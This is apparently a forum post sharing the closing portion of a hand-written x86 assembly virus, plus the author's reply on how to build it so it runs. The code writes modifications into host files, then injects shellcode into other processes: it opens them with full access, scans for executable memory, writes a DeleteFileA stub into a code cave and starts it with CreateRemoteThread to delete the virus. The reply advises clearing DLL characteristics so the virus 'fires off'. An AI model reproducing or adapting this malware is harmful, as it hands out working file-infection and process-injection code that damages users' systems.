edx //save our openproc mem baseaddr for thru this api call call edi pop eax //for now eax holds the API to SetFilePointer add esp, 0x1c push 0x00 push 0x00 push 0x00 push[ebp - 0x04] call eax //SetFilePointer back to beginning before writing changes to host writefile : push 0x00000000 mov edx, esp push 0x0000000 push edx push[esp + 0x0c] //size push[esp + 0x14] //globloc push[ebp - 0x04] //waayy down below handle call dword ptr[ebp + 0x2c] //WriteFile add esp, 0x0c closenext: push[ebp - 0x04] call[ebp + 0x30] //CloseHandle to file jmp findnext finddone : call get_eip3 get_eip3 : jmp get_eip2 //======================================================================================================= //======================================================================================================= //======================== //self delete //======================== //find a proc //find rwx mem space //find code cave //write procmem //call remotethread //if none exist //try SE_DEBUG_NAME privs self_delete: nop //int 3 nop push 0x00 push 0x02 call dword ptr[ebp + 0x58] //eax=handle to processes snapshot mov[ebp + 0x98], eax mov ecx, ebp add ecx, 0x9c //???(98) was ecx value push ecx push dword ptr[ebp + 0x98] //handle to procs snapshot lea ecx, [esp + 0x04] //PE32 struct DW size is needed mov ecx, [ecx] mov dword ptr[ecx], 0x130 //in the first part of the struct //304 bytes 8-byte aligned call dword ptr[ebp + 0x5c] //ProcFirst procloop: mov ecx, ebp add ecx, 0x9c push ecx push dword ptr[ebp + 0x98] //handle to procs snapshot call dword ptr[ebp + 0x60] //ProcNext cmp eax, 0x00 je nomoprocs mov ecx, [esp - 0x04] push dword ptr[ecx + 0x08] //proc pid push 0x00000000 push 0x1FFFFF //PROCESS_ALL_ACCESS call dword ptr[ebp + 0x50] //openProc cmp eax, 0x00 //access to proc denied?? je procloop //if so get another proc //=========================================== //MBI=1c SYS_INF=24 //=========================================== //access to a process found //now scan its mem space for read write exec privs //allocated 34 bytes push eax //save open proc handle to stack thru this routine sub esp, 0x64 //grab 64 bytes stack space //to store memory info and sys info mov ecx, esp //64 bytes loc push 0x64 push ecx call dword ptr[ebp + 0x64] //ZeroMem 64 bytes //********************************************* mov ecx, esp mov[ebp + 0xA0], ecx //Sysinfo mem buffer loc add ecx, 0x32 mov[ebp + 0xA4], ecx //MemBasInf buffer loc mov ecx, [ebp + 0xA0] push ecx call dword ptr[ebp + 0x68] //GetSysInf // si.lpMinimumApplicationAddress < si.lpMaximumApplicationAddress // if not query memory locations with VirtualQueryEx // look for process executable memory locations //VirtualQueryEx the process mov edx, [ebp + 0xA0] mov edx, [edx + 0x08] //si.minappaddr mov[ebp + 0xA8], edx //from the loop memseek : push 0x32 push[ebp + 0xA4] mov eax, [ebp + 0xA0] push dword ptr[ebp + 0xA8]//push edx mov eax, [esp + 0x70] push eax call dword ptr[ebp + 0x6C] //VirtuaQueryEx //------------------------------------------------------ //MEM TEST xor ebx, ebx //use it as a buffer ptr since RreadProc doesnt clobber mov edx, [ebp + 0xA4] //edx = MBI start cmp[edx + 0x14], 0x40 //PAGE_EXECUTE_READWRITE nop je memopen cmp[edx + 0x14], 0x80 //PAGE_EXECUTE_WRITECOPY je memopen jmp memnext //code cave search //looking for lots of 00's //we need to get our own name to decide how big a cave //we actually want then start reading process memory chunks memopen: //readproc mem buffer chunks //???????????? see below orig idea //****************************************************************************************************** sub esp, 0x120 //allocate room on the stack //for MAX_PATH we gotta get our virus exe location mov eax, esp push 0x100 push eax push 0x00 call dword ptr[ebp + 0x74] //GetModuleFileName mov ecx, esp //ecx has the virus name and location loc //eax has the length of the virus and location string add esp, 0x120 cmp eax, 0x100 //is the virus string location longer than 256 chars //if so im not taking time to handle a different self delete routine //Self Delete virus mechanism is fornicationed //the exe can stay behind ... smh ja memnext //copy the virus name into the bp buffer starting at [ebp+AC] xor ebx, ebx vname_copy_to_ebp : sub esp, 0x120 vname_pop : pop dword ptr[ebp + 0xAC + ebx] add ebx, 0x04 cmp ebx, eax jbe vname_pop add esp, 0x120 sub esp, ebx //[ebp+ebx] at this point is next avail ebp dword slot //[ebp+AC] virus path & exe name loc testx: //================================================= sub esp, 0x220 //readprocmem stack buffer space mov eax, esp push 0x00 push 0x200 //200h = 512 bytes push eax push[ebp + 0xA8] push[ebp - 0x04] //handle to proc call dword ptr[ebp + 0x90] //ReadProcMem //cmp dword ptr [esp],0xFFFFFFFF //TEST!!!! FOR WINDOWSPROJECT1.EXE OPEN HOST MEM //je codecavedebugtest //INSERTED FFFFFFFF's into WINPROJECT'S mem as test //jne memstop //at first RWX location in separate debugger //codecave call cleans up 220 stack //we hunt for 00's within 200h of stack (remote process mem) //careless about the left over 20h of it //REMINDER!!!!!!!! rest of the region size to scan //200h bytes at a time //MEMNEXT!!!!!!!!! goes to next mem seg add //scan rest of region size section //[ebp+ebx] at this point is next avail ebp dword slot //eax,ecx,edx avail xor ecx, ecx xor edx, edx xor eax, eax dwstart : cmp ecx, 0x200 ja oobuff add eax, [esp + ecx] cmp eax, 0x00 jz dwz dwclear : xor edx, edx xor eax, eax add ecx, 0x04 jmp dwstart dwz : add ecx, 0x04 add edx, 0x04 cmp edx, 0x100 je codecavedebugtest cmp ecx, 0x200 ja oobuff add eax, [esp + ecx] cmp eax, 0x00 jne dwclear je dwz oobuff : //get new buffer out of remote procs mem region //eax edx //int 3 add dword ptr[ebp + 0xA8], 0x200 mov eax, [ebp + 0xA4] mov eax, [eax + 0x0C] mov edx, [ebp + 0xA4] mov edx, [edx] add edx, eax mov eax, [ebp + 0xA8] cmp eax, edx jb testx2 jmp memstop testx2 : add esp, 0x220 jmp testx memstop: add esp, 0x220 jmp memnext //this goes to next remote process //mem address seg //================================================== codecavedebugtest: //code cave of bytes found here //int 3 mov eax, ecx sub eax, edx mov edx, esp add edx, eax //edx = start of 100h cave in remote proc //cmp eax,ecx //somehow these are equal when debug testing Winproj exe //jne mmm //int 3 //TEST PROJECT LAB CAVE push 0x00 push ebx lea eax, [ebp + 0xAC] push eax push[ebp + 0xA8] push[ebp - 0x04] //handle to proc call dword ptr[ebp + 0x200] //WriteProcMem insert virus name string push 0x00 push 0x02 mov word ptr[ebp + 0xAC], 0x9C66 lea eax, [ebp + 0xAC] push eax mov eax, [ebp + 0xa8] add eax, ebx push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProcMe "pushf" push 0x00 push 0x01 mov[ebp + 0xAC], 0x60 lea eax, [ebp + 0xAC] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x02 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProcMe "pushad" push 0x00 push 0x01 mov word ptr[ebp + 0xAC], 0x68 lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x03 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProc insert a "push" //eax,ebx,ecx push 0x00 push 0x04 lea eax, [ebp + 0xa8] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x04 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProcMem virname loc push 0x00 push 0x01 mov[ebp + 0xAC], 0xB8 lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x08 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProc insert a "mov eax," push 0x00 push 0x04 mov eax, [ebp + 0x78] mov[ebp + 0xAC], eax lea eax, [ebp + 0xAC] push eax mov eax, [ebp + 0xA8] add eax, ebx add eax, 0x09 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProc insert ",DeleteFileA API" push 0x00 push 0x02 mov word ptr[ebp + 0xAC], 0xD0FF lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x0D push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //WriteProc insert "call eax" push 0x00 push 0x01 mov[ebp + 0xAC], 0x83 lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x0F push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //Write "cmp" push 0x00 push 0x02 mov word ptr[ebp + 0xAC], 0x00F8 lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x10 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //Write "eax,0x0" push 0x00 push 0x02 mov word ptr[ebp + 0xAC], 0xEF74 lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x12 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] //Write "je loop" push 0x00 push 0x02 mov word ptr[ebp + 0xAC], 0x6661 lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x14 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] push 0x00 push 0x02 mov word ptr[ebp + 0xAC], 0xC39D lea eax, [ebp + 0xac] push eax mov eax, [ebp + 0xa8] add eax, ebx add eax, 0x16 push eax push[ebp - 0x04] call dword ptr[ebp + 0x200] nop nop nop nop nop nop //here we try to call remote thread into our above WriteProc codecave code //REMOTETHREAD UNDER DEBUG WINDOWSPROJECT1.EXE FF ENVIRONMENT push 0x00000000 mov eax, esp push eax push 0x00 push 0x00 mov eax, [ebp + 0xA8] //remote loc -> shell add eax, ebx push eax push 0x00 push 0x00 push[ebp - 0x04] call dword ptr[ebp + 0x70] add esp, 0x224 add esp, 0x68 jmp nomoprocs //exit our virus and hope the remote thread deletes mmm : //HERE IN OTHER PROC ENVIRONS //assuming nop nop nop nop add esp, 0x220 //counter for mem ptr memnext: //int 3 mov eax, [ebp + 0xA4] mov ecx, [eax] mov edx, [eax + 0x0C] add edx, ecx mov dword ptr[ebp + 0xA8], edx mov eax, [ebp + 0xA0] mov eax, [eax + 0x0C] cmp[ebp + 0xA8], eax jb memseek //mptr loc < maxappaddress procX : //clean up for new proc add esp, 0x64 //clean off MBI and SysInf segments pop eax //close handle to the open process push eax call dword ptr[ebp + 0x30] //CloseHandle to open proc jmp procloop //try to get a new proc //=========================================== //=========================================== //EXITPROCESS OUT FOR GOOD MEASURE nomoprocs: nop nop push 0x00000000 push 0x00737365 push 0x636f7250 push 0x74697845 push esp push 0x000C000E lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base mov ebx, edx //save our openproc mem baseaddr for thru this api call call edi pop eax add esp, 0x18 push 0x00 call eax //ExitProcess //============================================================= //============================================================= //cleanup stack n' stuff //for grand exit grand_exit: add esp, 0x200 pop eax popad //---------------------------------- mov ebx, 0xffffffff leave ret } ExitProcess(0); return 0; }
JMC31337 Posted February 22, 2021 Author Posted February 22, 2021 Ohhh and after building this ya gotta set its Dll Characteristics to 00 (I used pe bear) and it should fire off no problems
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now